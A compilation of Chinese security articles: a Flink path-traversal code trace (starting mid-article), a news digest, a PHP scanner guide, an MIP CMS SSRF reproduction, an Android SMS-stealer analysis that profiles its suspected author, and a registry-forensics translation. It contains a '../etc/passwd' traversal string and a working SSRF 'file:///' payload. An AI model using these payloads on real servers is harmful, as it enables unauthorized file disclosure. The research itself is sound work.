org.apache.flink.runtime.rest.handler.router.Router#decodePathTokens
对path使用`/`进行分割，然后得到三个元素，接着遍历三个元素使用`QueryStringDecoder.decodeComponent`进行URL解码并返回包含穿越目录的`tokens`。
org.apache.flink.runtime.rest.handler.router.MethodlessRouter#route
对`routes.entrySet()`进行循环遍历
然后和前面的`pathTokens`进行匹配判断，跟进`pattern.match`。
org.apache.flink.runtime.rest.handler.router.PathPattern#match
遍历并判断`key`是否`:`开头，然后将`../../../../../../../../../../../../etc/passwd`放进Map中并返回`ture`。
org.apache.flink.runtime.rest.handler.router.RouteResult#RouteResult
在上层中通过if判断，并将`Map`作为参数穿个`RouteResult`实例化。
org.apache.flink.runtime.rest.handler.router.RouterHandler#routed
实例化的`RouteResult`对象又作为参数传入`RoutedRequest`对象。
org.apache.flink.runtime.rest.handler.router.RoutedRequest#RoutedRequest
最终的`RoutedRequest`对象成员如下：
org/apache/flink/runtime/rest/handler/AbstractHandler.java:161
层层跟进至关键创建`HandlerRequest`对象的部分，跟进构造参数`routedRequest.getRouteResult().pathParams()`
org.apache.flink.runtime.rest.handler.router.RoutedRequest#getRouteResult
org.apache.flink.runtime.rest.handler.router.RouteResult#pathParams
结果为包含目录穿越的`MAP`
org.apache.flink.runtime.rest.handler.HandlerRequest#HandlerRequest(R, M,
java.util.Map<java.lang.String,java.lang.String>,
java.util.Map<java.lang.String,java.util.List<java.lang.String>>,
java.util.Collection<java.io.File>)
从`Map`中取出目录穿越的POC，然后传入`resolveFromString`。
org.apache.flink.runtime.rest.messages.MessageParameter#resolveFromString
最终放入`MessageParameter`对象的value成员中，接着将`MessageParameter`对象放入以`class`为键的MAP中。
实例化后的`HandlerRequest`对象成员为：
org/apache/flink/runtime/rest/handler/AbstractHandler.java:179
`HandlerRequest`对象又作为参数传入`respondToRequest`函数
org.apache.flink.runtime.rest.handler.cluster.AbstractJobManagerFileHandler#respondToRequest
`HandlerRequest`对象又传入`getFile`函数。
org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile
org.apache.flink.runtime.rest.handler.HandlerRequest#getPathParameter
取出`../../../../../../../../../../../../etc/passwd`然后用于创建`File`对象，最后在`HandlerUtils.transferFile`中读取文件对象并作为响应返回。
# 参考
<https://mp.weixin.qq.com/s/ZsNOKC8ulVk66BZZxqD-BA>
<https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E> | 社区文章 |
# 【知识】10月11日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：
rubygems.org远程代码执行漏洞、一加手机的OxygenOS被指收集用户信息、朝鲜和伊朗使用CodeProject来开发恶意软件、Windows
DNS客户端存在多个堆缓冲区溢出漏洞、Acunetix安全加固指南 、sqliv:批量SQL注入漏洞扫描工具、CVE-2017-11826：新的Office
0day被曝在野外利用**
********
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
一加的OxygenOS会跟踪用户的所有活动
**资讯类：**
********
小而强大的ATMii能让Win 7和Vista系统的ATM机吐钞
<https://www.bleepingcomputer.com/news/security/atmii-malware-makes-windows-7-and-windows-vista-atms-spit-out-cash/>
**技术类：**
********
rubygems.org远程代码执行漏洞
<https://justi.cz/security/2017/10/07/rubygems-org-rce.html>
一加手机的OxygenOS被指收集用户信息
<https://www.chrisdcmoore.co.uk/post/oneplus-analytics/>
朝鲜和伊朗使用CodeProject来开发恶意软件
<http://www.intezer.com/north-korea-iran-use-codeproject-develop-malware/>
使用Sysmon进行Threat Hunting：检测启用宏的Word文档
<http://syspanda.com/index.php/2017/10/10/threat-hunting-sysmon-word-document-macro/>
iOS隐私：steal.password – 轻松获取用户的Apple ID密码，只需要通过钓鱼的方式
<https://krausefx.com/blog/ios-privacy-stealpassword-easily-get-the-users-apple-id-password-just-by-asking>
Front-running Bancor in 150 lines of Python with Ethereum API
<https://hackernoon.com/front-running-bancor-in-150-lines-of-python-with-ethereum-api-d5e2bfd0d798>
使用osquery跟踪被盗的代码签名证书
<https://blog.trailofbits.com/2017/10/10/tracking-a-stolen-code-signing-certificate-with-osquery/>
Windows DNS客户端存在多个堆缓冲区溢出漏洞
<https://www.bishopfox.com/blog/2017/10/a-bug-has-no-name-multiple-heap-buffer-overflows-in-the-windows-dns-client/>
Fake Crypto: Microsoft Outlook S/MIME Cleartext Disclosure (CVE-2017-11776)
<https://www.sec-consult.com/en/blog/2017/10/fake-crypto-microsoft-outlook-smime-cleartext-disclosure-cve-2017-11776/index.html>
社会工程学攻击和Whatsapp的故事
<https://robertheaton.com/2016/10/22/a-tale-of-love-betrayal-social-engineering-and-whatsapp/>
Acunetix安全加固指南
<https://www.acunetix.com/blog/docs/acunetix-security-hardening-guide/>
微软 Office Word 无宏命令执行漏洞
<https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/>
New Office 0day (CVE-2017-11826) Exploited in the Wild
<http://360coresec.blogspot.com/2017/10/new-office-0day-cve-2017-11826.html>
LTR101：CloudFront域接管/劫持
<https://blog.zsec.uk/subdomainhijack/>
Metasploit Module for Tomcat JSP Upload via PUT Bypass (CVE-2017-12615)
<https://www.peew.pw/blog/2017/10/9/new-vulnerability-same-old-tomcat-cve-2017-12615>
poet：一款后渗透工具
<https://n0where.net/poet-simple-post-exploitation/>
The Absurdly Underestimated Dangers of CSV Injection
<http://georgemauer.net/2017/10/07/csv-injection.html>
sqliv:批量SQL注入漏洞扫描工具
<https://github.com/Hadesy2k/sqliv>
New NIST and DHS Standards Get Ready to Tackle BGP Hijacks
<https://www.bleepingcomputer.com/news/technology/new-nist-and-dhs-standards-get-ready-to-tackle-bgp-hijacks/>
Pin Visual Coverage Tool for Binary Ninja
<http://www.chokepoint.net/2017/10/pin-visual-coverage-tool-for-binary.html>
Stack Overflow Considered Harmful The Impact of Copy&Paste on Android
Application Security
<https://arxiv.org/pdf/1710.03135.pdf>
Exploring OpenVMS from “unsecure” NFS mount on linux
<https://astr0baby.wordpress.com/2017/10/09/exploring-openvms-from-unsecure-nfs-mount-on-linux/>
FrozenCell: Multi-platform surveillance campaign against Palestinians
<https://blog.lookout.com/frozencell-mobile-threat>
Run IDA Pro disassembler in Docker containers for automating, scaling and
distributing the use of IDAPython scripts.
<https://github.com/intezer/docker-ida>
Big Data Visual Analytics: Aperture Tiles
<https://n0where.net/big-data-visual-analytics/> | 社区文章 |
# PHP应用安全静态代码分析工具 – WAP 2.0【附使用方法】
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
WAP 2.0是一个静态源代码安全分析和数据挖掘工具，可以发现PHP Web应用程序中的安全漏洞，同时具有较低的误报率。
使用过后发现常规的文件包含等漏洞可以检测出，但是不能检测出防注入方法比较复杂的注入。
使用方法：
切到wap目录下执行 java -jar wap.jar –h 得到wap的帮助文档。
wap [选项] -p <项目>
wap [选项] <单个php文件>
选项：
-a 检测漏洞，不进行纠正
-s 只显示简要总结
-sqli SQL注入漏洞检测，如果不使用-a，将进行自动纠正。
java -jar wap.jar –sqli /root /wap-2.0/login.php login.php
–dbms <dbms> 指定应用程序所使用的数据库。可选的数据库为：mysql, db2, pg（PostgreSQL）。此选项只与-sqli选项配合使用，默认选择MySQL。
java -jar wap.jar -sqli –dbms mysql /root /wap-2.0/login.php login.php
-ci 检测RFI / LFI / DT / SCD /OS/ PHP注入漏洞，如果不使用-a，将进行自动纠正。
java -jar wap.jar -ci /root /wap-2.0/login.php
– XSS 检测反射型和存储型XSS漏洞，如果不使用-a，将进行自动纠正。
java -jar wap.jar -xss /root /wap-2.0/login.php
-p ＜项目> 指定项目的完整路径
java -jar wap.jar -sqli -ci -xss -p /root /wap-2.0/cms/
file(s) 指定完整路径的一个或多个php文件。
java -jar wap.jar -sqli login.php upload_file.php
-h 帮助。
-out <arg> 将结果输出到指定位置。
java -jar wap.jar -sqli login.php upload_file.php -out /result
SQL注入漏洞 (SQLI)
跨站脚本漏洞 (XSS)
远程文件包含漏洞 (RFI)
本地文件包含漏洞 (LFI)
目录遍历漏洞 (DT/PT)
源代码泄漏漏洞 (SCD)
系统命令执行漏洞 (OSCI)
PHP代码注入漏洞
WAP可以基于语义分析应用的源代码，并对数据流进行分析，比如它会追踪$_GET,
$_POST等入口点，并且追踪确认是否最终有敏感的方法可被执行。在探测结束后，这个工具还会通过数据挖掘确认漏洞是否真的存在或误报。
WAP使用Java编写，支持PHP 4.0及以上版本的Web应用。
[**_下载： 点这里点这里_**](http://sourceforge.net/projects/awap/) | 社区文章 |
# 一、概述
在一个风和日丽的下午，无所事事的刷着CNVD漏洞分享平台，偶然间看到一个公布的CMS的SSRF漏洞；突然奇想，何不复现分析一波，于是故事开始辽。
MIP建站系统是一套免费开源的CMS建站系统，登录该系统后台，可利用SSRF漏洞读取其任意文件，攻击其内网。
# 二、复现
下载地址：<https://mipclouds.oss-cn-beijing.aliyuncs.com/code/mipjz/mipjz-5.0.5.zip> ；
受影响代码位置：app/setting/controller/ApiAdminDomainSettings.php，$api参数可控。
第一步，登陆该后台：
第二步，访问所受影响的代码文件：
http://192.168.10.226/index.php？s=/setting/ApiAdminDomainSettings/urlPost；
POST方法进行请求，payload：
postAddress=file:///C:\phpStudy\PHPTutorial\WWW\app\database.php&url=test&id=test
Soeasy，成功读取到敏感文件。
# 三、分析
进行简单的漏洞分析。
根据漏洞定位代码文件：app/setting/controller/ApiAdminDomainSettings.php
受影响代码：
public function urlPost(Request $request) {
$postAddress = input('post.postAddress');
if (!$postAddress) {
return jsonError('请先去设置推送的接口');
}
$api = trim($postAddress);
if (strpos($api,'type=realtime') !== false || strpos($api,'type=batch') !== false) {
if (!config('siteInfo')['guanfanghaoStatus']) {
return jsonError('检测到您未开启熊掌号，请开启后再推送');
}
}
$url = input('post.url');
$id = input('post.id');
if (!$url) {
return jsonError('没有检测到你推送的页面地址');
}
$urls[] = $url;
$ch = curl_init();
$options = array(
CURLOPT_URL => $api,
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POSTFIELDS => implode("\n", $urls),
CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
);
curl_setopt_array($ch, $options);
$result = curl_exec($ch);
流程分析：
1、$ postAddress = input('post.postAddress');
//POST方法将$postAddress参数传入
2、$api = trim($postAddress);
$options = array(
CURLOPT_URL => $api,
CURLOPT_POST => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POSTFIELDS => implode("\n", $urls),
CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
);
curl_setopt_array($ch, $options);
//赋予$api参数，一直至$ch，未进行任何过滤
3、$result = curl_exec($ch);
//最后执行
就是这么容易，SSRF漏洞分析小白级普及完成；疫情快快散去，我想出去嗨！ | 社区文章 |
# 挖洞技巧：Web和APP方面的信息收集
##### 译文声明
本文是翻译文章，文章来源：07v8论安全
原文地址：<http://mp.weixin.qq.com/s/IG8wLrMsbJyVagSQCa5LaA>
译文仅供参考，具体内容表达以及含义原文为准。本文翻译自07v8论安全
[原文链接](http://mp.weixin.qq.com/s/IG8wLrMsbJyVagSQCa5LaA)。如若转载请注明出处。
商务合作，文章发布请联系 [email protected]
本文由 **Jianying** 原创发布
转载，请参考[转载声明](https://www.anquanke.com/note/repost)，注明出处：
[https://www.anquanke.com/post/id/96602](/post/id/96602)
安全客 - 有思想的安全新媒体
本文转载自: [07v8论安全](http://mp.weixin.qq.com/s/IG8wLrMsbJyVagSQCa5LaA)
如若转载,请注明出处： <http://mp.weixin.qq.com/s/IG8wLrMsbJyVagSQCa5LaA>
安全客 - 有思想的安全新媒体
分享到：
* [挖洞技巧](/tag/挖洞技巧)
* [信息收集](/tag/信息收集)
**+1** __3赞
__收藏
Jianying
分享到： | 社区文章 |
作者: **启明星辰ADLab**
#### 1、概述
2017年6月29日、30日，国家互联网应急中心通报了相册类安卓恶意程序威胁信息，指出该类恶意木马通过短信群发方式进行传播，其除了窃取用户短信和通讯录以外，还对用户手机进行了远程命令控制（其中包括短信群发到感染设备通讯录完成传播和控制感染设备来电去电等功能），不排除后期对感染设备用户及其朋友圈进行诈骗和恶意消费等恶意行为。
鉴于该类恶意木马对用户个人隐私和信息安全造成的严重威胁，启明星辰ADlab对其中一些样本进行了分析，并且发现部分恶意代码是通过伪装成当下流行的“王者荣耀游戏”的皮肤程序，利用各个APP商店、下载网站进行大量传播。本文将对此类“王者荣耀皮肤”伪装者恶意程序进行详细分析并且对黑客进行了信息和身份追踪。
#### 2、恶意木马行为简介
我们所分析的这款恶意木马伪装成“王者荣耀皮肤”应用以吸引用户下载安装（见下图）。运行后，该恶意木马会首先启动设备管理器界面，引导用户激活自己为设备管理员，这样可以避免被轻易卸载。设备管理员权限一旦被激活，该恶意木马便会将窃取到的感染设备安装激活状态、IMEI、机型、系统型号等信息以邮件的方式发送到攻击者指定的163邮箱，提示肉鸡上线。其次，该恶意木马还会每隔2分钟提示、诱导用户设置自己为默认的短信应用，以获取对短信数据库的读写权限。最后，恶意木马会删除图标，隐藏自身。
以上准备工作完成后，该恶意木马便会将窃取到的感染设备的所有短信和通讯录信息上传到攻击者指定的163邮箱。除此之外，该恶意木马还利用短信收发广播和观察者模式两种方式来监听感染设备的新收短信。如果新收短信来自攻击者，则该恶意木马执行对应的控制命令（其中包括短信群发到感染设备通讯录完成传播和控制感染设备来电去电等功能），否则恶意木马将其他新收短信分别上传到攻击者指定的163邮箱账户和发送到攻击者指定的手机号码。最后，该恶意木马可通过控制命令删除新收短信。下图为对该恶意木马功能的概括总结：
#### 3、详细行为分析
该恶意木马申请的权限如下图所示，其中，涉及到的敏感权限包括短信的读、写、发送权限，联系人读写权限，打电话权限，自启动权限和监听、控制、取消呼出电话的权限等。
###### 3.1、申请管理员权限，自我保护
该恶意样本首先会启动设备管理器界面，引导用户激活自己为设备管理器，这样可以避免自己被轻易卸载。见下图：
Android设备管理器对于一个普通APP而言并不太常用，在很多病毒中很是常见。一旦应用被激活成为系统管理员，则在设置->应用程序下无法直接删除该APP，只有取消激活后才能卸载。所以对于不了解的应用，千万不可乱激活。
运行结果如下图：当用户点击激活后，恶意木马就获得了设备管理员权限，这样会导致普通用户很难卸载掉恶意木马。
###### 3.2、提示肉鸡上线。
该恶意木马注册了广播接收器，一旦设备管理员权限被用户激活，恶意木马就将窃取到的感染设备安装激活状态、IMEI、机型、系统型号等信息通过邮件发送到攻击者指定的163邮箱，提示肉鸡上线。见下图：
###### 3.3、接管短信应用
该恶意木马每隔2分钟提示、引导用户设置自己为系统短信应用，接管短信服务，以获得对短信数据库的操作权限（见下图）。
Android
4.4及其以后，只能设置一个默认的SMS短信APP，当短信到达后会首先通知设置的默认APP，并且只有该APP对短信数据库有修改的权限和短信的发送权限。
###### 3.4、窃取用户短信和通讯录
该恶意木马在窃取感染设备的IMEI、机型、系统版本和所有短信以及通信录内容后，将其以邮件的方式上传到攻击者指定的163邮箱。如果通过邮件上传用户的短信和通讯录时报错，则会以短信的方式通知攻击者利用控制命令重新获取短信和通讯录并发送。见下图：
窃取感染设备中的全部短信：
窃取感染设备通讯录内容：
窃取感染设备IMEI、机型、系统版本和整个设备的短信和通讯录，邮件发送到攻击者指定的邮箱：
如果通过邮件上传用户的短信和通讯录时报错，则会以短信的方式通知攻击者利用控制命令重新获取短信和通讯录并发送：
###### 3.5、监听感染设备新短信
该恶意样本利用短信收发广播和观察者模式两种方式来监听感染设备的新收短信。如果新收短信来自攻击者，则执行相应控制命令（其中包括短信群发到感染设备通讯录完成传播和控制感染设备来电去电等功能，详细的控制指令和对应功能见下表）。否则，窃取其他新收短信（分别通过邮件和短信方式发送）。见下图：
注册短信发送接收广播：
判断短信发送者，如果不是来自攻击者，则将截获的短信分别发送到攻击者指定的163邮箱和以短信的形式发送给攻击者指定的手机号码；如果新收短信来自攻击者，则执行对应控制命令（其中包括短信群发到感染设备通讯录完成传播和控制感染设备来电去电等功能）。
利用观察者模式监听短信变化，可通过控制命令设置对新收短信进行删除
我们对控制指令及其相应的代码进行分析并且绘制了如下控制指令及其功能的表格。
###### 3.6、服务常驻
该恶意木马还定义了广播接收器，用于自启动。当用户手机重启时，启动恶意服务，继续其侵害过程。
#### 4、攻击者画像
攻击者的邮箱帐号和密码以及手机号码见下表，目前该邮箱账户不能正常登录，应该是攻击者修改了邮箱密码。
在搜索引擎中搜索攻击者邮箱“178×××××[email protected]”，未找到任何有价值信息。继而尝试搜索攻击者窃取用户短信和通讯录时指定的手机号码“150×××××634”，分别得到与该手机号码关联的支付宝账户和微信账户如下，可以看到，所得账户和该恶意木马似乎并没有什么关联。
我们观察攻击者邮箱帐号，猜测其用户名极有可能也是一个手机号码，搜索可知该手机号码的运营商为中国移动，归属地为四川成都，如下图：
再通过该手机号码，分别查到与之相关联的微信账户和支付宝账户（见下图），我们惊喜地发现其账户头像和该恶意木马图标一致。所以该手机号码和以下账户和该恶意样本有强关联，此人很有可能是该恶意木马控制背后的黑客。
另外，通过样本中暴露的黑客回传邮箱的密码来看，发现其中一个密码是一个QQ号码。并且通过加该QQ号可以看出与其相关联的QQ账信息，如下图，并且从验证问题中的“拜师”可以看出，该黑客还在接收徒弟，做黑产技术培训。
再搜索攻击者给出的QQ群，我们查到的群介绍如下图，可以看出该QQ群为攻击者创建的一个王者荣耀皮肤大师的伪官方群。
综合以上线索，我们以“文哥”、“王者荣耀”、“皮肤大师”等作为关键字，通过搜索发现网上存在很多由该攻击开发的相关工具，通过我们下载确认其中很多工具中存在恶意行为。搜索结果如下：
我们还通过该恶意APP的回传邮箱发现，网名为"文哥"的此位黑客还在一个钓鱼网站上注册过一个账号，试图进行网络钓鱼活动。
通过以上信息，我们可以看出，该恶意木马背后的黑客极有可能是网上这位以"文哥"为网络ID的人。因而通过这些信息我可以对该黑客做一个简单画像：该恶意木马背后黑客常用网名为“文哥”，可能位于四川成都，并且会一定的游戏辅助开发，也曾经参与网站钓鱼以及游戏盗号等黑产。
#### 5、安全建议
建议不要安装不明来源的APP，对申请可疑权限尤其是短信读写、打电话以及需要激活设备管理器的APP要特别留意。遇到操作异常，应当及时使用杀毒软件查杀或找专人处理。目前，目前互联网上也充斥着形形色色的第三方APP下载站点，很多甚至成了恶意应用的批发集散地。用户应特别留意不应轻易的在一些下载站点下载APP，尽量从官网下载所需APP应用，在不得不从第三方下载站点下载软件时，要高度保持警惕，认真甄别，防止误下恶意应用，造成不必要的麻烦和损失。此外，对于“王者荣耀”游戏用户，建议不要轻易相信网上的所谓的免费版“王者荣耀皮肤”应用，尽可能在官网下载，以防感染此类恶意APP。
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近300个，持续保持亚洲领先并确立了其在国际网络安全领域的核心地位。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# Windows 注册表取证分析
##### 译文声明
本文是翻译文章，文章原作者 fireeye，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2019/01/digging-up-the-past-windows-registry-forensics-revisited.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
作为应急响应和风险评估任务的一部分，FireEye顾问在对计算机网络进行取证分析时经常使用Windows注册表数据。这对于发现恶意活动和确定哪些数据可能被窃取很有帮助。注册表中存在很多不同类型的数据，可以提供程序执行、应用程序设置、恶意软件持久性和其他有价值工件的证据。
对过去发生的攻击进行取证分析可能比较困难。高级持续性威胁(APT)攻击者经常使用反取证技术来隐藏自己，这使得应急响应变得更加困难。为了给我们的顾问提供最好的工具，我们重新审查了我们现有的注册表取证分析技术，并确定了恢复历史和已删除的注册表数据的新方法。我们重点分析以下已知的历史注册表数据源：
* 注册表事务日志（registry transaction log）(.LOG)
* 事务型注册表事务日志（Transactional registry transaction log）(.TxR)
* 注册表hive文件中的删除项
* 系统备份的hive文件(REGBACK)
* 通过系统恢复（System Restore）备份的hive文件
## Windows注册表格式
Windows注册表是由多个hive文件组成的。hive文件是二进制文件，包含一个简单的文件系统，其中包括很多个cell，用于存储键、值、数据和相关的元数据。hive文件按照4KB的页面大小(也称为bin)进行读取和写入。
有关Windows注册表hive格式的详细说明，请查看[论文](http://sentinelchicken.com/data/TheWindowsNTRegistryFileFormat.pdf)和[GitHub页面](https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md)。
## 注册表事务日志(.LOG)
为了最大限度地提高注册表的可靠性，Windows可以在对注册表文件执行写入操作时使用事务日志。日志保存在被写入hive文件之前写入注册表的数据。事务日志在由于锁定或损坏而无法直接对hive文件进行写入操作时使用。
日志记录被保存到对应的注册表hive文件的同一文件夹中。它的文件名和hive文件相同，后缀为.LOG。Windows可能使用多个日志，在这种情况下将使用.LOG1和.LOG2后缀。
有关事务日志格式的详细信息，请查看[GitHub页面](https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md#format-of-transaction-log-files)。
注册表事务日志最初在Windows
2000中引入。在原始事务日志格式中，数据总是在事务日志开始处写入。一个位图（Bitmap）被用于指示日志中有哪些页面，页面按顺序排列。由于文件开始处经常被覆盖，所以很难从这些日志中恢复旧数据。因为每次使用时都会将不同数量的数据写入事务日志，所以旧的页面可能保留在多个不同用途的文件中。但页面的位置必须通过在当前hive文件中搜索类似的页面来进行推断，并且完全恢复数据的可能性很小。
在Windows8.1中引入了一种新的注册表事务日志格式。尽管新日志的使用方式不变，但有了不同的格式。新日志的工作方式类似于环形缓冲（ring
buffer），日志中最旧的数据被新数据覆盖。新日志格式中的每个项都包含一个序列号和注册表偏移量，因此很容易确定写入的顺序和页面的写入位置。由于改变了日志格式，数据被覆盖的频率要低得多，所以通常能够从这些日志文件中恢复旧的事务。
可以恢复的数据量取决于注册表的活动。对实际的系统的事务日志的测试表明可以恢复几天至几周内的数据。现实环境中可恢复性可能相差很大。频繁操作注册表(比如Windows
Update)会显著缩小可恢复范围。
尽管新的日志格式包含更多可恢复的信息，但是将一组注册表页转换为有用的数据是相当困难的。首先，它需要跟踪注册表中的所有页面，并确定在特定的写入操作中可能发生了哪些改变。为了评估它是否包含唯一的数据，还需要确定这种变化是否会产生某些在后续版本的hive文件中不存在的东西。
目前我们处理注册表事务文件的方法：
1. 对所有写入按序号降序排序，以便优先处理最新的写入。
2. 解析已分配和未分配的cell，以便查找已分配和删除的项。
3. 与原始hive文件中的项进行对比。所有不存在的项都被标记为已删除（deleted）和已记录（logged）。
## 事务日志示例
如图1，我们在Run键下创建一个注册表值，当用户登录到系统时启动malware.exe（恶意软件）。
不久之后，从系统中删除恶意软件。在删除之前，注册表值被覆盖。
虽然已删除的值仍然存在于hive文件中，但是现有的取证工具将无法恢复原始数据，因为它被覆盖了。
但在这种情况下，数据仍然存在于事务日志中，并且可以恢复。
## 事务型注册表事务日志(.Txr)
除了事务日志文件外，还有事务型注册表子系统使用的日志。应用程序可以利用事务型注册表精确地执行组合的注册表操作。这是应用安装程序最常用的方法，因为它简化了失败操作回滚（rollback）。
事务型注册表日志使用CLFS(通用日志文件系统, Common Log File
System)格式。日志保存在`<hive><GUID>.TxR.<number>.regtrans-ms`格式的文件中。对于用户hive文件，这些文件保存在与hive文件相同的文件夹中，并在用户注销时被清除。但对于系统来说，则保存在`%SystemRoot%System32configTxR`中，并且不会自动清除。所以通常可以从系统事务型日志中恢复历史数据。
事务型日志的格式没有很好的文档记录。Microsoft提供了[CLFS日志和API的概述](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-the-common-log-file-system)。
通过实验，我们能够确定基本的记录格式。我们可以识别用于创建和删除注册表项的记录以及注册表值的写入和删除。日志项中包含相关的键路径、值名、数据类型和数据。有关事务日志记录格式的详细信息，请查看本文附录。
虽然注册表事务日志中的很多数据对于入侵调查并不是很有价值，但在某些情况下，这些数据被证明是有用的。特别是，我们发现计划任务的创建和删除使用了注册表事务。通过分析注册表事务日志，我们能够找到攻击者在活动系统上创建计划任务的证据。任何其他位置都不存在这些数据。
在Windows 8.1和Windows Vista上都能观察到计划任务使用事务型注册表进行操作；Windows
10上的计划任务没有这种行为。暂不清楚为什么Windows 10的行为不同。
## 事务型注册表示例
在本例中，我们创建一个计划任务。计划任务周期性地运行恶意软件。
保存有关计划任务的信息到注册表中。
由于计划任务是通过事务型注册表操作写入注册表的，所以在事务型注册表事务日志中可以获取数据的副本。从系统中删除计划任务后，数据能够保留在日志中。
## 恢复已删除项
除了事务日志之外，我们还分析了从注册表hive文件中恢复已删除项的方法。我们首先对目前取证工具常用的一些技术进行了深入分析，希望找出一种更准确的方法。
恢复已删除项需要解析注册表hive文件中的cell。这是相对简单的。FireEye有许多工具可以读取原始注册表hive文件，通过cell解析相关的键、值和数据。恢复已删除的数据则要复杂得多，因为删除元素时会丢失一些信息。需要采取更复杂的办法来处理由此导致的混淆。
在解析cell时，只有一个公共字段：cell的大小（size）。有些类型的cell包含魔数（magic
number）标识符，用于确定它们的类型。但是，其他类型的cell(如数据和值列表)没有标识符；它们的类型必须通过相邻的cell引用来推断。此外，cell内的数据大小可能与cell大小不同。根据cell类型，可能需要相关cell的信息来确定数据大小。
注册表元素（element）被删除时，其cell被标记为未分配。由于cell不会立即被覆盖，因此通常可以从注册表cell中恢复已删除的元素。然而，未分配的cell可能与相邻的未分配cell合并，以便最大限度地提高遍历效率。这使得恢复已删除的cell变得更加复杂，因为cell的大小可能已经被修改。这导致不能很好地确定原来的cell大小，必须通过检查cell的内容来间接确定。
## 恢复已删除项的现有方法
通过对公开的资料和源代码的分析，我们了解了从注册表hive文件中恢复已删除元素的现有方法。常见的方法如下：
1. 查找所有未分配的cell，查找已删除的键cell。
2. 从已删除的键中查找引用的已删除值。
3. 查找剩下的所有未分配的cell，查找未引用的已删除值cell。
4. 从所有已删除的值中查找引用的数据cell。
我们实现了一种类似的算法来测试它的有效性。虽然这个简单的算法能够恢复许多已删除的注册表元素，但它有一些重大缺陷。一个主要问题是无法通过已删除cell验证任何引用。由于引用的cell可能已经被多次覆盖或重用，我们的程序在识别值和数据时经常出错，导致错误的结果和无效的输出。
我们还将程序输出与常用的注册表取证工具进行比较。尽管我们的程序包含大部分相同的输出，但是很明显，常用的注册表取证工具能够恢复更多的数据。特别是，它们能够从尚未覆盖的已分配cell的空闲空间中恢复已删除的元素。
另外，我们发现孤立的已分配cell也被认为是已删除的。尚不清楚为什么注册表hive文件中会存在未引用的已分配cell，因为所有引用的cell在删除的同时都应该被标记未分配的。可能是某些类型的故障导致已删除的cell没有被标记为未分配的。
通过实验，我们发现现有的注册表工具能够执行更好的验证，结果少了误报（false
positive）。但是，我们还发现在很多情况下，这些工具产生了不正确的删除值关联，并输出了无效数据。这种情况在多次重复使用cell时可能会出现，如果不仔细检查，这些引用可能看起来是有效的。
## 一种恢复已删除项的新方法
考虑到算法还能改进，我们进行了重新设计，以最大的准确性和效率恢复已删除的注册表元素。经过多次试验和改进，我们最终得到了一种新的算法，可以准确地恢复已删除的注册表元素，同时最大限度地提高性能。这是通过发现和跟踪注册表hive文件中的所有cell以执行更好的验证、处理cell闲置空间以及发现孤立的键和值来实现的。测试结果与现有的注册表取证工具非常匹配，但具有更好的验证和更少的误报。
以下是改进算法的总结：
1. 对所有已分配和未分配的cell执行基本解析。尽可能确定cell类型和数据大小。
2. 枚举所有已分配cell并执行以下操作：
* 对于已分配键，请查找引用的值列表、类名和安全记录。填充引用cell的数据大小。验证键的父级以确定键是否是孤立的。
* 对于已分配值，查找引用的数据并填充数据大小。
3. 将所有已分配cell闲置空间定义为未分配的cell。
4. 枚举已分配键并尝试查找值列表中显示的已删除值。并尝试在值列表闲置空间中查找旧的已删除值引用。
5. 枚举未分配cell并尝试查找已删除的键cell。
6. 枚举未分配键，并尝试定义引用的类名、安全记录和值。
7. 枚举未分配cell并尝试查找未引用的已删除值cell。
8. 枚举未分配值并尝试查找引用的数据cell。
## 恢复删除元素的示例
下面的示例演示我们的恢复删除项的算法是如何执行更准确的数据恢复并避免误报的。图8展示了一个常用注册表取证工具未能正确恢复数据示例：
可以看到从这个键恢复的ProviderName是乱码，因为它引用了一个被覆盖的位置。当我们删除的注册表恢复工具运行在同一个hive文件上时，它会识别数据已被覆盖，并且不会输出乱码。图9中的`data_present`字段的值为0，表示无法从hive文件中恢复已删除的数据。
正确的注册表数据:
Key: CMI-CreateHive{2A7FB991-7BBE-4F9D-B91E-7CB51D4737F5}
ControlSet002ControlClass{4D36E972-E325-11CE-BFC1-08002BE10318}019
Value: ProviderName Type: REG_SZ (value_offset=0x137FE40) (data_size=20)
(data_present=0) (data_offset=0x10EAF68) (deleted_type=UNALLOCATED)
## 注册表备份
Windows有一个定期备份系统注册表hive文件的简单机制。hive文件由一个名为RegIdleBackup的计划任务备份，默认情况下，该任务每10天运行一次。备份的文件存储在`%SystemRoot%System32configRegBack`中。只有最近的备份存储在此位置。这对于调查系统上最近的活动很有用。
RegIdleBackup功能在Windows Vista中首次引入。从那时起，Windows的所有版本有这个功能，但它在Windows
10系统上默认不运行，即使手动运行也不会创建备份，原因尚不清楚。
除了RegBack之外，系统还原（System
Restore）也会备份注册表数据。默认情况下，每当软件安装或卸载(包括Windows更新)时，都会创建系统还原快照。所以，系统恢复快照通常至少每月创建一次。虽然已知一些APT组织可以操作系统还原快照，但如果在攻击者活动时拍摄快照，则通常可以找到攻击者历史活动的证据。系统还原快照包含所有注册表hive文件，包括系统和用户hive文件。
